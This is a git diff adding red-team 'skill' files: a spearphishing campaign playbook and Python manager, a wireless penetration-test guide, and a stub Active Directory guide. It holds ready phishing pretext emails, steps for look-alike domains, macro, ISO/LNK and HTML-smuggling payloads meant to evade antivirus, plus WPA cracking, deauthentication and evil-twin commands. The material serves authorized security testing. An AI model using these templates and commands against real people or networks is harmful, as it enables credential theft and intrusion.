+``` +Name: RT-2024-001 Password Expiry +Email Template: Password Expiry Notice +Landing Page: O365 Login Clone +Sending Profile: Red Team SMTP +Groups: Target Group Alpha +Launch Date: [SCHEDULED_DATE] +Send Emails By: [STAGGER_OVER_4_HOURS] +``` + +## Workflow 2: Infrastructure Preparation + +### Step 1: Domain Selection and Registration +```bash +# Research similar-looking domains (typosquatting) +# targetcorp.com -> targetcorp-it.com, targetc0rp.com, targetcorp.co + +# Domain categorization check +# Use tools like Bluecoat/Symantec Site Review to check categorization +# Uncategorized domains may be blocked + +# Register domain through privacy-protected registrar +# Age domain for minimum 2 weeks before use +``` + +### Step 2: Email Authentication Setup +```bash +# SPF Record +# Type: TXT +# Host: @ +# Value: v=spf1 ip4: include:_spf.google.com ~all + +# DKIM Setup +opendkim-genkey -s default -d phishing-domain.com +# Add TXT record: default._domainkey.phishing-domain.com +# Value: v=DKIM1; k=rsa; p= + +# DMARC Record +# Type: TXT +# Host: _dmarc +# Value: v=DMARC1; p=none; rsp=100; adkim=s; aspf=s +``` + +### Step 3: SSL Certificate Setup +```bash +# Using Let's Encrypt for legitimate SSL +certbot certonly --standalone -d phishing-domain.com +certbot certonly --standalone -d login.phishing-domain.com + +# Configure certificates in GoPhish/web server +``` + +## Workflow 3: Payload Development + +### HTML Smuggling Payload +```html + + + + +

Your document is downloading. If the download does not start, +click here.

+ + +``` + +### Macro-Enabled Document Workflow +``` +1. Create legitimate-looking document template +2. Add VBA macro for payload execution: + - AutoOpen() or Document_Open() trigger + - Download cradle using PowerShell or certutil + - Execute payload from %TEMP% directory +3. Test against target's known AV/EDR solution +4. Obfuscate macro code to bypass static analysis +``` + +### ISO/LNK Payload Chain +``` +1. Create ISO file containing: + - Legitimate-looking LNK shortcut + - Hidden DLL or executable payload + - Decoy document for user satisfaction +2. LNK file executes hidden payload via: + - rundll32.exe to load DLL + - mshta.exe to execute HTA + - PowerShell download cradle +3. ISO bypasses Mark-of-the-Web (MotW) on older Windows +``` + +## Workflow 4: Campaign Execution and Monitoring + +### Pre-Launch Checklist +``` +- [ ] Domain aged and categorized +- [ ] SPF/DKIM/DMARC configured +- [ ] SSL certificates installed +- [ ] Email templates tested for rendering +- [ ] Landing pages functional and capturing data +- [ ] Payload tested against target's security stack +- [ ] C2 callback verified +- [ ] Tracking pixels loading correctly +- [ ] Target list finalized and imported +- [ ] Campaign schedule confirmed with engagement lead +``` + +### Launch Procedure +``` +1. Send initial test email to red team operator +2. Verify delivery, rendering, and link tracking +3. Launch Wave 1: High-priority targets (5-10 users) +4. Monitor for 1 hour - check delivery and open rates +5. Verify no immediate blocks or quarantine +6. Launch Wave 2: Remaining targets (staggered over 2-4 hours) +7. Monitor dashboard continuously for first 4 hours +8. Check for credential captures and payload executions +9. Document all interactions with timestamps +``` + +### Real-Time Monitoring +``` +Track and document: +- Email delivery success/failure rates +- Email open rates (tracking pixel) +- Link click rates +- Credential submission events +- Payload download events +- Callback/beacon events +- User reports to SOC +- Time between delivery and interaction +``` + +## Workflow 5: Post-Campaign Reporting + +### Metrics Calculation +``` +Delivery Rate = (Emails Delivered / Emails Sent) x 100 +Open Rate = (Unique Opens / Emails Delivered) x 100 +Click Rate = (Unique Clicks / Emails Delivered) x 100 +Credential Capture Rate = (Credentials Captured / Emails Delivered) x 100 +Payload Execution Rate = (Payloads Executed / Emails Delivered) x 100 +Report Rate = (Users Who Reported / Emails Delivered) x 100 +``` + +### Evidence Collection +``` +For each successful interaction: +1. Screenshot of GoPhish dashboard showing the event +2. Captured credentials (hash, not plaintext in report) +3. C2 beacon screenshot showing initial callback +4. Timeline of events from delivery to compromise +5. Email headers showing delivery path +``` diff --git a/skills/conducting-spearphishing-simulation-campaign/scripts/process.py b/skills/conducting-spearphishing-simulation-campaign/scripts/process.py new file mode 100644 index 00000000..95baf207 --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/scripts/process.py @@ -0,0 +1,591 @@ +#!/usr/bin/env python3 +""" +Spearphishing Simulation Campaign Manager + +Automates phishing campaign preparation including: +- Email template generation with personalization +- Domain reputation checking +- Email authentication validation (SPF/DKIM/DMARC) +- Campaign metrics analysis +- Phishing report generation + +Usage: + python process.py --mode setup --domain phishing-domain.com + python process.py --mode template --pretext password-expiry --targets targets.csv + python process.py --mode validate --domain phishing-domain.com + python process.py --mode report --campaign-data results.json + +Requirements: + pip install requests dnspython rich jinja2 +""" + +import argparse +import csv +import json +import sys +from datetime import datetime +from pathlib import Path +from typing import Any + +try: + import dns.resolver + import requests + from rich.console import Console + from rich.table import Table + from rich.panel import Panel +except ImportError: + print("[!] Missing dependencies. Install with: pip install requests dnspython rich") + sys.exit(1) + +console = Console() + +# Spearphishing pretext templates +PRETEXT_TEMPLATES = { + "password-expiry": { + "subject": "[ACTION REQUIRED] Password Expiry Notice - {first_name}", + "body": """Dear {first_name} {last_name}, + +Your corporate password will expire in 24 hours. To maintain uninterrupted +access to company resources, please update your password immediately +using our secure self-service portal. + +Update Password: {phishing_url} + +If you have already updated your password, please disregard this message. + +This is an automated message from the IT Security Team. +Do not reply to this email. + +Best regards, +IT Security Team +{company_name} + +{tracking_pixel}""", + "urgency": "high", + "authority": "IT Security", + }, + "shared-document": { + "subject": "{sender_name} shared a document with you: Q4 Financial Review", + "body": """{first_name}, + +{sender_name} has shared a document with you via our secure file sharing platform. + +Document: Q4 Financial Review - {company_name} +Shared by: {sender_name} ({sender_title}) +Access expires: 48 hours + +View Document: {phishing_url} + +You are receiving this because {sender_name} included you in the +document sharing list. If you believe this was sent in error, +please contact {sender_name} directly. + +Powered by SecureShare +{company_name} Document Management + +{tracking_pixel}""", + "urgency": "medium", + "authority": "Colleague", + }, + "hr-benefits": { + "subject": "Important: Open Enrollment Benefits Update - Action Required", + "body": """Dear {first_name}, + +As part of our annual benefits enrollment period, we are pleased to announce +updated benefits packages for all employees. Please review and confirm your +selections before the enrollment deadline. + +Key updates include: +- Enhanced health coverage options +- New wellness program benefits +- Updated 401(k) matching contributions + +Review Your Benefits: {phishing_url} + +Deadline: {deadline_date} + +If you have questions about your benefits options, please contact +the HR Benefits team. + +Warm regards, +Human Resources Department +{company_name} + +{tracking_pixel}""", + "urgency": "medium", + "authority": "HR Department", + }, + "mfa-enrollment": { + "subject": "Security Update: Multi-Factor Authentication Enrollment Required", + "body": """Hello {first_name}, + +As part of our ongoing security improvements, all employees are required +to enroll in our new Multi-Factor Authentication (MFA) system by {deadline_date}. + +This upgrade is mandatory and will help protect your account and +company data from unauthorized access. + +Enroll Now: {phishing_url} + +What you will need: +- Your current corporate credentials +- Your mobile phone for authenticator setup + +Employees who do not complete enrollment by the deadline may experience +temporary access disruptions. + +Thank you for your cooperation in keeping {company_name} secure. + +IT Security Operations +{company_name} + +{tracking_pixel}""", + "urgency": "high", + "authority": "IT Security", + }, + "invoice-payment": { + "subject": "Invoice #{invoice_number} - Payment Confirmation Required", + "body": """Dear {first_name}, + +Please find attached the invoice for services rendered. We kindly request +your review and payment confirmation at your earliest convenience. + +Invoice Number: #{invoice_number} +Amount Due: ${amount} +Due Date: {deadline_date} + +View Invoice: {phishing_url} + +If you have any questions regarding this invoice, please do not hesitate +to contact our accounts department. + +Best regards, +{sender_name} +Accounts Receivable +{vendor_name} + +{tracking_pixel}""", + "urgency": "high", + "authority": "Vendor", + }, + "voicemail": { + "subject": "You have a new voicemail from {sender_name} ({phone_number})", + "body": """You received a voicemail + +From: {sender_name} +Number: {phone_number} +Duration: 0:47 +Date: {current_date} + +Play Voicemail: {phishing_url} + +This message was sent from your corporate voice messaging system. + +{tracking_pixel}""", + "urgency": "low", + "authority": "System", + }, +} + + +def validate_email_authentication(domain: str) -> dict: + """Validate SPF, DKIM, and DMARC configuration for a domain.""" + results = { + "spf": {"configured": False, "record": None, "issues": []}, + "dkim": {"configured": False, "record": None, "issues": []}, + "dmarc": {"configured": False, "record": None, "issues": []}, + } + + # Check SPF + try: + answers = dns.resolver.resolve(domain, "TXT") + for rdata in answers: + txt = str(rdata).strip('"') + if txt.startswith("v=spf1"): + results["spf"]["configured"] = True + results["spf"]["record"] = txt + + if "~all" in txt: + results["spf"]["issues"].append("Soft fail (~all) - consider using -all") + elif "+all" in txt: + results["spf"]["issues"].append("WARNING: +all allows any sender") + elif "-all" in txt: + results["spf"]["issues"].append("Hard fail (-all) - strict configuration") + + if txt.count("include:") > 10: + results["spf"]["issues"].append("Too many includes - may exceed DNS lookup limit") + except Exception as e: + results["spf"]["issues"].append(f"DNS query failed: {e}") + + # Check DKIM (common selectors) + dkim_selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"] + for selector in dkim_selectors: + try: + answers = dns.resolver.resolve(f"{selector}._domainkey.{domain}", "TXT") + for rdata in answers: + txt = str(rdata).strip('"') + if "v=DKIM1" in txt or "k=rsa" in txt: + results["dkim"]["configured"] = True + results["dkim"]["record"] = f"Selector: {selector} - {txt[:100]}..." + break + except Exception: + pass + if results["dkim"]["configured"]: + break + + if not results["dkim"]["configured"]: + results["dkim"]["issues"].append("No DKIM record found for common selectors") + + # Check DMARC + try: + answers = dns.resolver.resolve(f"_dmarc.{domain}", "TXT") + for rdata in answers: + txt = str(rdata).strip('"') + if txt.startswith("v=DMARC1"): + results["dmarc"]["configured"] = True + results["dmarc"]["record"] = txt + + if "p=none" in txt: + results["dmarc"]["issues"].append("Policy is 'none' - no enforcement") + elif "p=quarantine" in txt: + results["dmarc"]["issues"].append("Policy is 'quarantine' - moderate enforcement") + elif "p=reject" in txt: + results["dmarc"]["issues"].append("Policy is 'reject' - strict enforcement") + except Exception as e: + results["dmarc"]["issues"].append(f"No DMARC record found: {e}") + + return results + + +def generate_email_template( + pretext: str, + targets_file: str, + company_name: str = "Target Corp", + phishing_url: str = "https://login.example.com", + output_dir: str = "./templates", +) -> list[dict]: + """Generate personalized email templates for each target.""" + + if pretext not in PRETEXT_TEMPLATES: + console.print(f"[red][-] Unknown pretext: {pretext}[/red]") + console.print(f"[yellow]Available: {', '.join(PRETEXT_TEMPLATES.keys())}[/yellow]") + return [] + + template = PRETEXT_TEMPLATES[pretext] + out_path = Path(output_dir) + out_path.mkdir(parents=True, exist_ok=True) + + emails = [] + try: + with open(targets_file, "r") as f: + reader = csv.DictReader(f) + for row in reader: + from datetime import timedelta + + personalized = { + "to": row.get("email", row.get("Email", "")), + "subject": template["subject"].format( + first_name=row.get("first_name", row.get("First Name", "User")), + sender_name="Michael Thompson", + invoice_number="INV-2024-4821", + ), + "body": template["body"].format( + first_name=row.get("first_name", row.get("First Name", "User")), + last_name=row.get("last_name", row.get("Last Name", "")), + company_name=company_name, + phishing_url=phishing_url, + sender_name="Michael Thompson", + sender_title="VP of Finance", + deadline_date=(datetime.now() + timedelta(days=3)).strftime("%B %d, %Y"), + current_date=datetime.now().strftime("%B %d, %Y %I:%M %p"), + invoice_number="INV-2024-4821", + amount="4,750.00", + vendor_name="Apex Business Solutions", + phone_number="+1 (555) 867-5309", + tracking_pixel='', + ), + "urgency": template["urgency"], + "authority": template["authority"], + } + emails.append(personalized) + except FileNotFoundError: + console.print(f"[red][-] Targets file not found: {targets_file}[/red]") + return [] + except Exception as e: + console.print(f"[red][-] Error processing targets: {e}[/red]") + return [] + + # Save generated emails + emails_path = out_path / f"campaign_emails_{pretext}.json" + with open(emails_path, "w") as f: + json.dump(emails, f, indent=2) + + console.print(f"[green][+] Generated {len(emails)} personalized emails[/green]") + console.print(f"[green][+] Saved to: {emails_path}[/green]") + + return emails + + +def check_domain_reputation(domain: str) -> dict: + """Check domain reputation and categorization status.""" + results = { + "domain": domain, + "checks": {}, + } + + # Check if domain resolves + try: + import socket + ip = socket.gethostbyname(domain) + results["resolves_to"] = ip + except Exception: + results["resolves_to"] = "DOES NOT RESOLVE" + + # Check Google Safe Browsing (requires API key) + results["checks"]["google_safe_browsing"] = "Manual check required: https://transparencyreport.google.com/safe-browsing/search" + + # Check VirusTotal + results["checks"]["virustotal"] = f"Manual check required: https://www.virustotal.com/gui/domain/{domain}" + + # Check domain age via WHOIS + try: + import whois as python_whois + w = python_whois.whois(domain) + if w.creation_date: + creation = w.creation_date + if isinstance(creation, list): + creation = creation[0] + age_days = (datetime.now() - creation).days + results["domain_age_days"] = age_days + if age_days < 14: + results["domain_age_warning"] = "Domain is less than 14 days old - high risk of being blocked" + elif age_days < 30: + results["domain_age_warning"] = "Domain is less than 30 days old - moderate risk" + else: + results["domain_age_warning"] = "Domain age is acceptable" + except Exception: + results["domain_age_days"] = "Unable to determine" + + # Check categorization services + results["checks"]["bluecoat"] = "Manual check: https://sitereview.bluecoat.com/" + results["checks"]["fortiguard"] = "Manual check: https://www.fortiguard.com/webfilter" + results["checks"]["paloalto"] = "Manual check: https://urlfiltering.paloaltonetworks.com/" + results["checks"]["mcafee"] = "Manual check: https://trustedsource.org/" + + return results + + +def analyze_campaign_results(results_file: str, output_dir: str = "./reports") -> dict: + """Analyze campaign results and generate metrics report.""" + out_path = Path(output_dir) + out_path.mkdir(parents=True, exist_ok=True) + + try: + with open(results_file, "r") as f: + data = json.load(f) + except Exception as e: + console.print(f"[red][-] Error loading results: {e}[/red]") + return {} + + # Calculate metrics + total_sent = len(data.get("results", [])) + delivered = sum(1 for r in data.get("results", []) if r.get("status") == "delivered") + opened = sum(1 for r in data.get("results", []) if r.get("opened", False)) + clicked = sum(1 for r in data.get("results", []) if r.get("clicked", False)) + submitted = sum(1 for r in data.get("results", []) if r.get("submitted_data", False)) + reported = sum(1 for r in data.get("results", []) if r.get("reported", False)) + + metrics = { + "total_sent": total_sent, + "delivered": delivered, + "opened": opened, + "clicked": clicked, + "submitted_credentials": submitted, + "reported_phishing": reported, + "delivery_rate": (delivered / total_sent * 100) if total_sent > 0 else 0, + "open_rate": (opened / delivered * 100) if delivered > 0 else 0, + "click_rate": (clicked / delivered * 100) if delivered > 0 else 0, + "credential_capture_rate": (submitted / delivered * 100) if delivered > 0 else 0, + "report_rate": (reported / delivered * 100) if delivered > 0 else 0, + } + + # Generate report + report = f"""# Spearphishing Campaign Results Report + +## Campaign Overview +- **Campaign ID:** {data.get('campaign_id', 'N/A')} +- **Date:** {data.get('date', datetime.now().strftime('%Y-%m-%d'))} +- **Pretext:** {data.get('pretext', 'N/A')} +- **Target Count:** {total_sent} + +## Metrics Summary + +| Metric | Count | Rate | +|--------|-------|------| +| Emails Sent | {total_sent} | 100% | +| Delivered | {delivered} | {metrics['delivery_rate']:.1f}% | +| Opened | {opened} | {metrics['open_rate']:.1f}% | +| Clicked Link | {clicked} | {metrics['click_rate']:.1f}% | +| Submitted Credentials | {submitted} | {metrics['credential_capture_rate']:.1f}% | +| Reported to SOC | {reported} | {metrics['report_rate']:.1f}% | + +## Risk Assessment + +### Credential Compromise Risk +{"CRITICAL" if metrics['credential_capture_rate'] > 20 else "HIGH" if metrics['credential_capture_rate'] > 10 else "MEDIUM" if metrics['credential_capture_rate'] > 5 else "LOW"} +- {submitted} out of {delivered} users submitted credentials +- These credentials could be used for initial access in a real attack + +### Security Awareness Gap +{"CRITICAL" if metrics['report_rate'] < 5 else "HIGH" if metrics['report_rate'] < 15 else "MEDIUM" if metrics['report_rate'] < 30 else "LOW"} +- Only {reported} out of {delivered} users reported the phishing email +- Industry benchmark for phishing report rate is 20-30% + +## Recommendations + +1. {"Mandatory security awareness training for all users who clicked" if clicked > 0 else "Continue current awareness program"} +2. {"Implement MFA to mitigate credential compromise risk" if submitted > 0 else "Current credential protections appear effective"} +3. {"Improve phishing report mechanisms - too few users reported" if metrics['report_rate'] < 15 else "Phishing reporting culture is adequate"} +4. Review email security gateway rules based on successful deliveries +5. Consider additional technical controls for identified bypass methods + +## MITRE ATT&CK Mapping + +| Technique | ID | Result | +|-----------|----|--------| +| Spearphishing Link | T1566.002 | {"Successful" if clicked > 0 else "Blocked"} | +| User Execution | T1204.001 | {"Successful" if clicked > 0 else "No interaction"} | +| Valid Accounts | T1078 | {"Credentials captured" if submitted > 0 else "No credentials captured"} | +""" + + report_path = out_path / "phishing_campaign_report.md" + with open(report_path, "w") as f: + f.write(report) + + console.print(f"[green][+] Campaign report saved to: {report_path}[/green]") + + # Display summary table + table = Table(title="Campaign Metrics Summary") + table.add_column("Metric", style="cyan") + table.add_column("Count", style="yellow") + table.add_column("Rate", style="green") + + table.add_row("Emails Sent", str(total_sent), "100%") + table.add_row("Delivered", str(delivered), f"{metrics['delivery_rate']:.1f}%") + table.add_row("Opened", str(opened), f"{metrics['open_rate']:.1f}%") + table.add_row("Clicked", str(clicked), f"{metrics['click_rate']:.1f}%") + table.add_row("Credentials Captured", str(submitted), f"{metrics['credential_capture_rate']:.1f}%") + table.add_row("Reported", str(reported), f"{metrics['report_rate']:.1f}%") + + console.print(table) + + return metrics + + +def main(): + parser = argparse.ArgumentParser( + description="Spearphishing Simulation Campaign Manager" + ) + parser.add_argument( + "--mode", + required=True, + choices=["setup", "template", "validate", "report", "list-pretexts", "check-domain"], + help="Operation mode", + ) + parser.add_argument("--domain", help="Phishing domain to validate") + parser.add_argument("--pretext", help="Pretext template name") + parser.add_argument("--targets", help="Path to targets CSV file") + parser.add_argument("--company", default="Target Corp", help="Target company name") + parser.add_argument("--phishing-url", default="https://login.example.com", help="Phishing URL") + parser.add_argument("--campaign-data", help="Path to campaign results JSON") + parser.add_argument("--output", default="./output", help="Output directory") + + args = parser.parse_args() + + if args.mode == "list-pretexts": + table = Table(title="Available Pretext Templates") + table.add_column("Name", style="red bold") + table.add_column("Authority", style="yellow") + table.add_column("Urgency", style="cyan") + table.add_column("Subject Preview", style="green") + + for name, template in PRETEXT_TEMPLATES.items(): + table.add_row( + name, + template["authority"], + template["urgency"], + template["subject"][:50] + "...", + ) + console.print(table) + + elif args.mode == "validate": + if not args.domain: + console.print("[red][-] --domain required for validation mode[/red]") + return + + console.print(f"[yellow][*] Validating email authentication for {args.domain}...[/yellow]") + auth_results = validate_email_authentication(args.domain) + + table = Table(title=f"Email Authentication: {args.domain}") + table.add_column("Protocol", style="cyan") + table.add_column("Configured", style="green") + table.add_column("Record", style="yellow") + table.add_column("Issues", style="red") + + for protocol, data in auth_results.items(): + table.add_row( + protocol.upper(), + "Yes" if data["configured"] else "No", + (data["record"] or "N/A")[:60], + "; ".join(data["issues"]) if data["issues"] else "None", + ) + + console.print(table) + + elif args.mode == "template": + if not args.pretext or not args.targets: + console.print("[red][-] --pretext and --targets required for template mode[/red]") + return + + generate_email_template( + args.pretext, args.targets, args.company, args.phishing_url, args.output + ) + + elif args.mode == "check-domain": + if not args.domain: + console.print("[red][-] --domain required[/red]") + return + + console.print(f"[yellow][*] Checking domain reputation for {args.domain}...[/yellow]") + rep_results = check_domain_reputation(args.domain) + + console.print(Panel(json.dumps(rep_results, indent=2), title="Domain Reputation")) + + elif args.mode == "report": + if not args.campaign_data: + console.print("[red][-] --campaign-data required for report mode[/red]") + return + + analyze_campaign_results(args.campaign_data, args.output) + + elif args.mode == "setup": + console.print( + Panel( + "[bold]Spearphishing Campaign Setup Checklist[/bold]\n\n" + "1. Register look-alike domain (age 2+ weeks)\n" + "2. Configure SPF/DKIM/DMARC records\n" + "3. Set up GoPhish or mail infrastructure\n" + "4. Install SSL certificates\n" + "5. Create landing pages\n" + "6. Prepare email templates\n" + "7. Import target list\n" + "8. Test delivery to operator account\n" + "9. Launch campaign in waves\n" + "10. Monitor and collect evidence", + title="Setup Guide", + ) + ) + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-wireless-network-penetration-test/SKILL.md b/skills/conducting-wireless-network-penetration-test/SKILL.md new file mode 100644 index 00000000..d302104b --- /dev/null +++ b/skills/conducting-wireless-network-penetration-test/SKILL.md @@ -0,0 +1,170 @@ +--- +name: conducting-wireless-network-penetration-test +description: > + Conducts authorized wireless network penetration tests to assess the security of WiFi + infrastructure by testing for weak encryption protocols, captive portal bypasses, evil twin + attacks, WPA2/WPA3 handshake capture, rogue access point detection, and client-side attacks. + The tester evaluates wireless authentication, network segmentation, and the effectiveness of + wireless intrusion detection systems. Activates for requests involving wireless pentest, WiFi + security assessment, WPA2/WPA3 testing, or rogue access point detection. +domain: cybersecurity +subdomain: penetration-testing +tags: [wireless-pentest, WiFi-security, WPA2, WPA3, evil-twin] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Conducting Wireless Network Penetration Test + +## When to Use + +- Assessing the security of enterprise wireless networks including guest, corporate, and IoT WiFi segments +- Testing whether attackers within physical proximity can compromise wireless authentication and access internal networks +- Validating wireless intrusion detection/prevention system (WIDS/WIPS) capabilities against known attack techniques +- Evaluating the effectiveness of WPA3 migration and transition mode configurations +- Testing network segmentation between wireless and wired networks after a wireless network compromise + +**Do not use** against wireless networks without written authorization from the network owner, for jamming or denial-of-service attacks against wireless infrastructure unless explicitly authorized, or in environments where wireless disruption could affect life-safety systems. + +## Prerequisites + +- Written authorization specifying target SSIDs, BSSIDs, and physical testing locations +- External WiFi adapter supporting monitor mode and packet injection (Alfa AWUS036ACH, TP-Link TL-WN722N v1) +- Kali Linux or equivalent with up-to-date wireless tools (aircrack-ng suite, hostapd, bettercap) +- Physical access to the testing location during authorized testing hours +- Knowledge of the target's wireless architecture (SSIDs, authentication types, RADIUS infrastructure) + +## Workflow + +### Step 1: Wireless Reconnaissance + +Discover and map all wireless networks in the target environment: + +- Enable monitor mode: `airmon-ng start wlan0` +- Capture wireless traffic: `airodump-ng wlan0mon -w recon --output-format csv,pcap` to discover all SSIDs, BSSIDs, channels, encryption types, and connected clients +- Identify target networks from the authorized scope and note their security configurations (WEP, WPA2-Personal, WPA2-Enterprise, WPA3-SAE, WPA3-Transition) +- Enumerate connected clients and their signal strengths to understand client distribution +- Check for hidden SSIDs by capturing probe requests from clients: `airodump-ng wlan0mon --essid-regex ".*" -c ` +- Identify rogue access points by comparing discovered BSSIDs against the client's authorized AP inventory + +### Step 2: WPA2-Personal Handshake Capture and Cracking + +For WPA2-PSK networks, capture the 4-way handshake and attempt offline cracking: + +- Target the specific AP: `airodump-ng wlan0mon -c --bssid -w capture` +- Deauthenticate a connected client to force re-authentication: `aireplay-ng -0 5 -a -c wlan0mon` +- Verify handshake capture in airodump-ng (WPA handshake indicator appears) +- Crack the captured handshake: + - Dictionary attack: `aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap` + - GPU-accelerated: `hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt` + - Rule-based: `hashcat -m 22000 capture.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule` +- For PMKID capture (clientless): `hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng --filtermode=2 --filterlist_ap=` + +### Step 3: WPA2-Enterprise Attack + +For 802.1X/EAP networks, attempt credential capture through rogue RADIUS: + +- Identify the EAP type in use (PEAP-MSCHAPv2, EAP-TLS, EAP-TTLS) by capturing association requests +- Set up a rogue AP mimicking the enterprise SSID using `hostapd-mana` with a rogue RADIUS server +- Configure hostapd-mana to accept all EAP authentication attempts and capture RADIUS handshakes +- When clients connect to the rogue AP, capture MSCHAPv2 challenge-response pairs +- Crack captured credentials with `asleap` or convert to hashcat format: `hashcat -m 5500 captured_ntlm.txt wordlist.txt` +- If EAP-TLS is in use (certificate-based), document that credential capture is not feasible and the organization has implemented strong wireless authentication + +### Step 4: Evil Twin Attack + +Deploy a rogue access point to intercept client connections: + +- Create an evil twin AP matching the target SSID: configure `hostapd` with the same SSID and channel +- Set up a captive portal using `dnsmasq` for DHCP and DNS, and a web server presenting a fake login page +- Deauthenticate clients from the legitimate AP to force reconnection to the evil twin +- Capture credentials submitted through the captive portal +- For WPA3-Transition mode networks: exploit the downgrade vulnerability by creating a WPA2-only evil twin that transition-mode clients will connect to +- Document all captured credentials and the attack path from wireless access to internal network + +### Step 5: Post-Compromise Network Assessment + +After gaining wireless network access, assess network segmentation: + +- Connect to the compromised wireless network using captured credentials +- Scan the network segment for accessible hosts and services: `nmap -sn ` +- Test if wireless clients can reach internal servers, databases, or management interfaces +- Verify that VLAN segmentation properly isolates guest, corporate, and IoT wireless networks +- Test if wireless-to-wired segmentation is enforced by attempting to access servers on the wired network +- Document all accessible resources from the wireless network to demonstrate segmentation failures + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Evil Twin** | A rogue access point that mimics a legitimate SSID to trick clients into connecting, enabling man-in-the-middle attacks and credential capture | +| **4-Way Handshake** | The WPA2 authentication exchange between client and AP that establishes encryption keys; captured handshakes can be cracked offline | +| **WPA3-SAE** | Simultaneous Authentication of Equals; WPA3's key exchange protocol that resists offline dictionary attacks and provides forward secrecy | +| **Transition Mode** | WPA3 backward compatibility mode that supports both WPA2 and WPA3 clients, potentially vulnerable to downgrade attacks | +| **PMKID Attack** | A clientless attack that captures the Pairwise Master Key Identifier from the AP's first EAPOL frame, allowing offline cracking without capturing a full handshake | +| **802.1X/EAP** | Enterprise wireless authentication using RADIUS and Extensible Authentication Protocol, providing per-user credentials instead of a shared pre-shared key | +| **Deauthentication Attack** | Sending spoofed deauthentication frames to disconnect clients from an AP, forcing them to reconnect and enabling handshake capture or evil twin attacks | + +## Tools & Systems + +- **Aircrack-ng Suite**: Comprehensive wireless auditing toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking) +- **Hostapd-mana**: Modified hostapd for creating rogue access points with EAP credential capture capability +- **Bettercap**: Network attack framework with WiFi modules for deauthentication, handshake capture, and evil twin deployment +- **Hashcat**: GPU-accelerated password cracking supporting WPA2 (mode 22000), MSCHAPv2 (mode 5500), and PMKID formats +- **Kismet**: Wireless network detector, sniffer, and intrusion detection system for passive monitoring + +## Common Scenarios + +### Scenario: Wireless Security Assessment for a Corporate Office + +**Context**: A financial services company has 3 SSIDs: CorpWiFi (WPA2-Enterprise for employees), GuestWiFi (captive portal), and IoT-Net (WPA2-PSK for printers and conferencing systems). The tester is authorized to test all three networks from the lobby and conference rooms. + +**Approach**: +1. Wireless reconnaissance identifies all 3 SSIDs across 12 access points with 87 connected clients +2. IoT-Net WPA2-PSK handshake captured and cracked in 3 minutes (password: Company2024!) +3. From IoT-Net, scan reveals the subnet can reach internal servers including the print server and file shares, demonstrating inadequate segmentation +4. Evil twin attack against CorpWiFi captures 4 employee MSCHAPv2 hashes via hostapd-mana; 2 are cracked revealing passwords +5. GuestWiFi captive portal bypass achieved using MAC address spoofing of an already-authenticated device +6. Document that IoT-Net provides a direct path to the internal network bypassing WPA2-Enterprise authentication + +**Pitfalls**: +- Conducting deauthentication attacks during business hours without coordinating with the client, causing visible WiFi disruptions +- Not testing WPA3 transition mode for downgrade vulnerabilities when the organization has begun WPA3 migration +- Focusing only on password cracking and missing network segmentation issues that are often the higher-risk finding +- Testing from a single location and missing rogue APs deployed in other areas of the facility + +## Output Format + +``` +## Finding: Weak WPA2-PSK on IoT Network with Inadequate Segmentation + +**ID**: WIFI-001 +**Severity**: Critical (CVSS 9.4) +**Affected SSID**: IoT-Net (BSSID: AA:BB:CC:DD:EE:FF) +**Encryption**: WPA2-Personal (PSK) + +**Description**: +The IoT wireless network uses a weak pre-shared key that was cracked in 3 minutes +using a standard dictionary attack. Once connected to IoT-Net, the tester discovered +that the wireless VLAN is not properly segmented from the internal corporate network, +providing unrestricted access to file servers, the Active Directory domain controller, +and the internal database server. + +**Proof of Concept**: +1. Captured WPA2 handshake: airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w iot +2. Cracked PSK in 3 minutes: aircrack-ng -w rockyou.txt iot-01.cap -> Key: Company2024! +3. Connected to IoT-Net and scanned: nmap -sn 10.20.0.0/24 +4. Accessible from IoT-Net: DC01 (10.20.0.5:445), FILESVR (10.20.0.10:445), DBSVR (10.20.0.15:3306) + +**Impact**: +An attacker within wireless range (tested from the public lobby) can join the IoT +network and gain direct network access to the corporate infrastructure, bypassing +the WPA2-Enterprise authentication required for employee access. + +**Remediation**: +1. Implement a complex 20+ character PSK for IoT-Net, rotated quarterly +2. Deploy VLAN segmentation to isolate IoT-Net from the corporate network +3. Implement firewall rules allowing IoT devices to reach only their required services +4. Migrate IoT devices to 802.1X authentication with device certificates where supported +5. Deploy WIDS to detect deauthentication attacks and rogue access points +``` diff --git a/skills/configuring-active-directory-tiered-model/SKILL.md b/skills/configuring-active-directory-tiered-model/SKILL.md new file mode 100644 index 00000000..42ff7629 --- /dev/null +++ b/skills/configuring-active-directory-tiered-model/SKILL.md @@ -0,0 +1,37 @@ +--- +name: None +description: Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory. Covers Tier 0/1/2 separation, privileged access workstations (PAWs), administrative f +domain: cybersecurity +subdomain: identity-access-management +tags: [iam, identity, access-control, active-directory, tiered-model, paw, esae] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Active Directory Tiered Model + +## Overview +Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory. Covers Tier 0/1/2 separation, privileged access workstations (PAWs), administrative forest design, authentication policy silos, and credential theft mitigation. + +## Objectives +- Implement comprehensive configuring active directory tiered model capability +- Establish automated discovery and monitoring processes +- Integrate with enterprise IAM and security tools +- Generate compliance-ready documentation and reports +- Align with NIST 800-53 access control requirements + +## Security Controls +| Control | NIST 800-53 | Description | +|---------|-------------|-------------| +| Account Management | AC-2 | Lifecycle management | +| Access Enforcement | AC-3 | Policy-based access control | +| Least Privilege | AC-6 | Minimum necessary permissions | +| Audit Logging | AU-3 | Authentication and access events | +| Identification | IA-2 | User and service identification | + +## Verification +- [ ] Implementation tested in non-production environment +- [ ] Security policies configured and enforced +- [ ] Audit logging enabled and forwarding to SIEM +- [ ] Documentation and runbooks complete +- [ ] Compliance evidence generated diff --git a/skills/configuring-aws-verified-access-for-ztna/SKILL.md 